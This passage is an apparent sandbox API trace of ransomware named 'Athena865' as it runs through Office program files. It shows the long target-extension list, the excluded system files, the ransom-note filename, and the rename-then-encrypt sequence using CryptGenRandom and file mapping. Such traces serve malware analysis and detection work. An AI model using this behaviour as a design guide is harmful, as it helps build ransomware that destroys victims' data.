(lpString1="011.DLL", lpString2="teacher") returned -1 [0078.496] lstrlenW (lpString="tmd") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0078.496] lstrlenW (lpString="tps") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0078.496] lstrlenW (lpString="trc") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0078.496] lstrlenW (lpString="trc") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0078.496] lstrlenW (lpString="trm") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0078.496] lstrlenW (lpString="udb") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0078.496] lstrlenW (lpString="udl") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0078.496] lstrlenW (lpString="usr") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0078.496] lstrlenW (lpString="v12") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0078.496] lstrlenW (lpString="vis") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0078.496] lstrlenW (lpString="vpd") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0078.496] lstrlenW (lpString="vvv") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0078.496] lstrlenW (lpString="wdb") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0078.496] lstrlenW (lpString="wmdb") returned 4 [0078.496] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0078.496] lstrlenW (lpString="wrk") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0078.496] lstrlenW (lpString="xdb") returned 3 [0078.496] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0078.497] lstrlenW (lpString="xld") returned 3 [0078.497] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0078.497] lstrlenW (lpString="xmlff") returned 5 [0078.497] lstrcmpiW (lpString1="1.DLL", lpString2="xmlff") returned -1 [0078.497] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL.Athena865") returned 72 [0078.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll.athena865"), dwFlags=0x1) returned 1 [0078.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.498] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2460592) returned 1 [0078.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.499] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.499] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.499] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.500] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x258eb0, lpName=0x0) returned 0x17c [0078.501] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x58eb0) returned 0x2d50000 [0078.520] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0078.598] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0078.617] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0078.617] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0078.617] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0078.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0078.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0078.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0078.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0078.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0078.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0078.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0078.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0078.618] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0078.622] CloseHandle (hObject=0x17c) returned 1 [0078.622] CloseHandle (hObject=0x154) returned 1 [0078.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0078.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0078.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0078.631] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17736b00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17736b00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x589bb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NL7MODELS0009.dll", cAlternateFileName="NL7MOD~3.DLL")) returned 1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2=".") returned 1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="..") returned 1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="windows") returned -1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="bootmgr") returned 1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="temp") returned -1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="pagefile.sys") returned -1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="boot") returned 1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="ids.txt") returned 1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="ntuser.dat") returned -1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="perflogs") returned -1 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2="MSBuild") returned 1 [0078.631] lstrlenW (lpString="NL7MODELS0009.dll") returned 17 [0078.631] lstrcpyW (in: lpString1=0x241e89e, lpString2="NL7MODELS0009.dll" | out: lpString1="NL7MODELS0009.dll") returned="NL7MODELS0009.dll" [0078.631] lstrlenW (lpString="NL7MODELS0009.dll") returned 17 [0078.631] lstrlenW (lpString="Athena865") returned 9 [0078.631] lstrcmpiW (lpString1="S0009.dll", lpString2="Athena865") returned 1 [0078.631] lstrlenW (lpString=".dll") returned 4 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2=".dll") returned 1 [0078.631] lstrlenW (lpString=".lnk") returned 4 [0078.631] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2=".lnk") returned 1 [0078.631] lstrlenW (lpString=".ini") returned 4 [0078.632] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2=".ini") returned 1 [0078.632] lstrlenW (lpString=".sys") returned 4 [0078.632] lstrcmpiW (lpString1="NL7MODELS0009.dll", lpString2=".sys") returned 1 [0078.632] lstrlenW (lpString="NL7MODELS0009.dll") returned 17 [0078.632] lstrlenW (lpString="bak") returned 3 [0078.632] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0078.632] lstrlenW (lpString="ba_") returned 3 [0078.632] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0078.632] lstrlenW (lpString="dbb") returned 3 [0078.632] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0078.632] lstrlenW (lpString="vmdk") returned 4 [0078.632] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0078.632] lstrlenW (lpString="rar") returned 3 [0078.632] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0078.632] lstrlenW (lpString="zip") returned 3 [0078.632] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0078.632] lstrlenW (lpString="tgz") returned 3 [0078.632] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0078.632] lstrlenW (lpString="vbox") returned 4 [0078.632] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0078.632] lstrlenW (lpString="vdi") returned 3 [0078.632] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0078.632] lstrlenW (lpString="vhd") returned 3 [0078.632] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0078.632] lstrlenW (lpString="vhdx") returned 4 [0078.632] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0078.632] lstrlenW (lpString="avhd") returned 4 [0078.632] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0078.632] lstrlenW (lpString="db") returned 2 [0078.632] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0078.632] lstrlenW (lpString="db2") returned 3 [0078.632] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0078.632] lstrlenW (lpString="db3") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0078.633] lstrlenW (lpString="dbf") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0078.633] lstrlenW (lpString="mdf") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0078.633] lstrlenW (lpString="mdb") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0078.633] lstrlenW (lpString="sql") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0078.633] lstrlenW (lpString="sqlite") returned 6 [0078.633] lstrcmpiW (lpString1="09.dll", lpString2="sqlite") returned -1 [0078.633] lstrlenW (lpString="sqlite3") returned 7 [0078.633] lstrcmpiW (lpString1="009.dll", lpString2="sqlite3") returned -1 [0078.633] lstrlenW (lpString="sqlitedb") returned 8 [0078.633] lstrcmpiW (lpString1="0009.dll", lpString2="sqlitedb") returned -1 [0078.633] lstrlenW (lpString="xml") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0078.633] lstrlenW (lpString="$er") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0078.633] lstrlenW (lpString="4dd") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0078.633] lstrlenW (lpString="4dl") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0078.633] lstrlenW (lpString="^^^") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0078.633] lstrlenW (lpString="abs") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0078.633] lstrlenW (lpString="abx") returned 3 [0078.633] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0078.633] lstrlenW (lpString="accdb") returned 5 [0078.633] lstrcmpiW (lpString1="9.dll", lpString2="accdb") returned -1 [0078.633] lstrlenW (lpString="accdc") returned 5 [0078.633] lstrcmpiW (lpString1="9.dll", lpString2="accdc") returned -1 [0078.634] lstrlenW (lpString="accde") returned 5 [0078.634] lstrcmpiW (lpString1="9.dll", lpString2="accde") returned -1 [0078.634] lstrlenW (lpString="accdr") returned 5 [0078.634] lstrcmpiW (lpString1="9.dll", lpString2="accdr") returned -1 [0078.634] lstrlenW (lpString="accdt") returned 5 [0078.634] lstrcmpiW (lpString1="9.dll", lpString2="accdt") returned -1 [0078.634] lstrlenW (lpString="accdw") returned 5 [0078.634] lstrcmpiW (lpString1="9.dll", lpString2="accdw") returned -1 [0078.634] lstrlenW (lpString="accft") returned 5 [0078.634] lstrcmpiW (lpString1="9.dll", lpString2="accft") returned -1 [0078.634] lstrlenW (lpString="adb") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0078.634] lstrlenW (lpString="adb") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0078.634] lstrlenW (lpString="ade") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0078.634] lstrlenW (lpString="adf") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0078.634] lstrlenW (lpString="adn") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0078.634] lstrlenW (lpString="adp") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0078.634] lstrlenW (lpString="alf") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0078.634] lstrlenW (lpString="ask") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0078.634] lstrlenW (lpString="btr") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0078.634] lstrlenW (lpString="cat") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0078.634] lstrlenW (lpString="cdb") returned 3 [0078.634] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0078.634] lstrlenW (lpString="ckp") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0078.635] lstrlenW (lpString="cma") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0078.635] lstrlenW (lpString="cpd") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0078.635] lstrlenW (lpString="dacpac") returned 6 [0078.635] lstrcmpiW (lpString1="09.dll", lpString2="dacpac") returned -1 [0078.635] lstrlenW (lpString="dad") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0078.635] lstrlenW (lpString="dadiagrams") returned 10 [0078.635] lstrcmpiW (lpString1="LS0009.dll", lpString2="dadiagrams") returned 1 [0078.635] lstrlenW (lpString="daschema") returned 8 [0078.635] lstrcmpiW (lpString1="0009.dll", lpString2="daschema") returned -1 [0078.635] lstrlenW (lpString="db-journal") returned 10 [0078.635] lstrcmpiW (lpString1="LS0009.dll", lpString2="db-journal") returned 1 [0078.635] lstrlenW (lpString="db-shm") returned 6 [0078.635] lstrcmpiW (lpString1="09.dll", lpString2="db-shm") returned -1 [0078.635] lstrlenW (lpString="db-wal") returned 6 [0078.635] lstrcmpiW (lpString1="09.dll", lpString2="db-wal") returned -1 [0078.635] lstrlenW (lpString="dbc") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0078.635] lstrlenW (lpString="dbs") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0078.635] lstrlenW (lpString="dbt") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0078.635] lstrlenW (lpString="dbv") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0078.635] lstrlenW (lpString="dbx") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0078.635] lstrlenW (lpString="dcb") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0078.635] lstrlenW (lpString="dct") returned 3 [0078.635] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0078.636] lstrlenW (lpString="dcx") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0078.636] lstrlenW (lpString="ddl") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0078.636] lstrlenW (lpString="dlis") returned 4 [0078.636] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0078.636] lstrlenW (lpString="dp1") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0078.636] lstrlenW (lpString="dqy") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0078.636] lstrlenW (lpString="dsk") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0078.636] lstrlenW (lpString="dsn") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0078.636] lstrlenW (lpString="dtsx") returned 4 [0078.636] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0078.636] lstrlenW (lpString="dxl") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0078.636] lstrlenW (lpString="eco") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0078.636] lstrlenW (lpString="ecx") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0078.636] lstrlenW (lpString="edb") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0078.636] lstrlenW (lpString="epim") returned 4 [0078.636] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0078.636] lstrlenW (lpString="fcd") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0078.636] lstrlenW (lpString="fdb") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0078.636] lstrlenW (lpString="fic") returned 3 [0078.636] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0078.636] lstrlenW (lpString="flexolibrary") returned 12 [0078.637] lstrcmpiW (lpString1="DELS0009.dll", lpString2="flexolibrary") returned -1 [0078.637] lstrlenW (lpString="fm5") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0078.637] lstrlenW (lpString="fmp") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0078.637] lstrlenW (lpString="fmp12") returned 5 [0078.637] lstrcmpiW (lpString1="9.dll", lpString2="fmp12") returned -1 [0078.637] lstrlenW (lpString="fmpsl") returned 5 [0078.637] lstrcmpiW (lpString1="9.dll", lpString2="fmpsl") returned -1 [0078.637] lstrlenW (lpString="fol") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0078.637] lstrlenW (lpString="fp3") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0078.637] lstrlenW (lpString="fp4") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0078.637] lstrlenW (lpString="fp5") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0078.637] lstrlenW (lpString="fp7") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0078.637] lstrlenW (lpString="fpt") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0078.637] lstrlenW (lpString="frm") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0078.637] lstrlenW (lpString="gdb") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0078.637] lstrlenW (lpString="gdb") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0078.637] lstrlenW (lpString="grdb") returned 4 [0078.637] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0078.637] lstrlenW (lpString="gwi") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0078.637] lstrlenW (lpString="hdb") returned 3 [0078.637] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0078.638] lstrlenW (lpString="his") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0078.638] lstrlenW (lpString="ib") returned 2 [0078.638] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0078.638] lstrlenW (lpString="idb") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0078.638] lstrlenW (lpString="ihx") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0078.638] lstrlenW (lpString="itdb") returned 4 [0078.638] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0078.638] lstrlenW (lpString="itw") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0078.638] lstrlenW (lpString="jet") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0078.638] lstrlenW (lpString="jtx") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0078.638] lstrlenW (lpString="kdb") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0078.638] lstrlenW (lpString="kexi") returned 4 [0078.638] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0078.638] lstrlenW (lpString="kexic") returned 5 [0078.638] lstrcmpiW (lpString1="9.dll", lpString2="kexic") returned -1 [0078.638] lstrlenW (lpString="kexis") returned 5 [0078.638] lstrcmpiW (lpString1="9.dll", lpString2="kexis") returned -1 [0078.638] lstrlenW (lpString="lgc") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0078.638] lstrlenW (lpString="lwx") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0078.638] lstrlenW (lpString="maf") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0078.638] lstrlenW (lpString="maq") returned 3 [0078.638] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0078.639] lstrlenW (lpString="mar") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0078.639] lstrlenW (lpString="marshal") returned 7 [0078.639] lstrcmpiW (lpString1="009.dll", lpString2="marshal") returned -1 [0078.639] lstrlenW (lpString="mas") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0078.639] lstrlenW (lpString="mav") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0078.639] lstrlenW (lpString="maw") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0078.639] lstrlenW (lpString="mdbhtml") returned 7 [0078.639] lstrcmpiW (lpString1="009.dll", lpString2="mdbhtml") returned -1 [0078.639] lstrlenW (lpString="mdn") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0078.639] lstrlenW (lpString="mdt") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0078.639] lstrlenW (lpString="mfd") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0078.639] lstrlenW (lpString="mpd") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0078.639] lstrlenW (lpString="mrg") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0078.639] lstrlenW (lpString="mud") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0078.639] lstrlenW (lpString="mwb") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0078.639] lstrlenW (lpString="myd") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0078.639] lstrlenW (lpString="ndf") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0078.639] lstrlenW (lpString="nnt") returned 3 [0078.639] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0078.639] lstrlenW (lpString="nrmlib") returned 6 [0078.640] lstrcmpiW (lpString1="09.dll", lpString2="nrmlib") returned -1 [0078.640] lstrlenW (lpString="ns2") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0078.640] lstrlenW (lpString="ns3") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0078.640] lstrlenW (lpString="ns4") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0078.640] lstrlenW (lpString="nsf") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0078.640] lstrlenW (lpString="nv") returned 2 [0078.640] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0078.640] lstrlenW (lpString="nv2") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0078.640] lstrlenW (lpString="nwdb") returned 4 [0078.640] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0078.640] lstrlenW (lpString="nyf") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0078.640] lstrlenW (lpString="odb") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0078.640] lstrlenW (lpString="odb") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0078.640] lstrlenW (lpString="oqy") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0078.640] lstrlenW (lpString="ora") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0078.640] lstrlenW (lpString="orx") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0078.640] lstrlenW (lpString="owc") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0078.640] lstrlenW (lpString="p96") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0078.640] lstrlenW (lpString="p97") returned 3 [0078.640] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0078.641] lstrlenW (lpString="pan") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0078.641] lstrlenW (lpString="pdb") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0078.641] lstrlenW (lpString="pdm") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0078.641] lstrlenW (lpString="pnz") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0078.641] lstrlenW (lpString="qry") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0078.641] lstrlenW (lpString="qvd") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0078.641] lstrlenW (lpString="rbf") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0078.641] lstrlenW (lpString="rctd") returned 4 [0078.641] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0078.641] lstrlenW (lpString="rod") returned 3 [0078.641] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0078.641] lstrlenW (lpString="rodx") returned 4 [0078.641] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0078.641] lstrlenW (lpString="rpd") returned 3 [0078.641] lstrcmpiW (lpString1="dll", 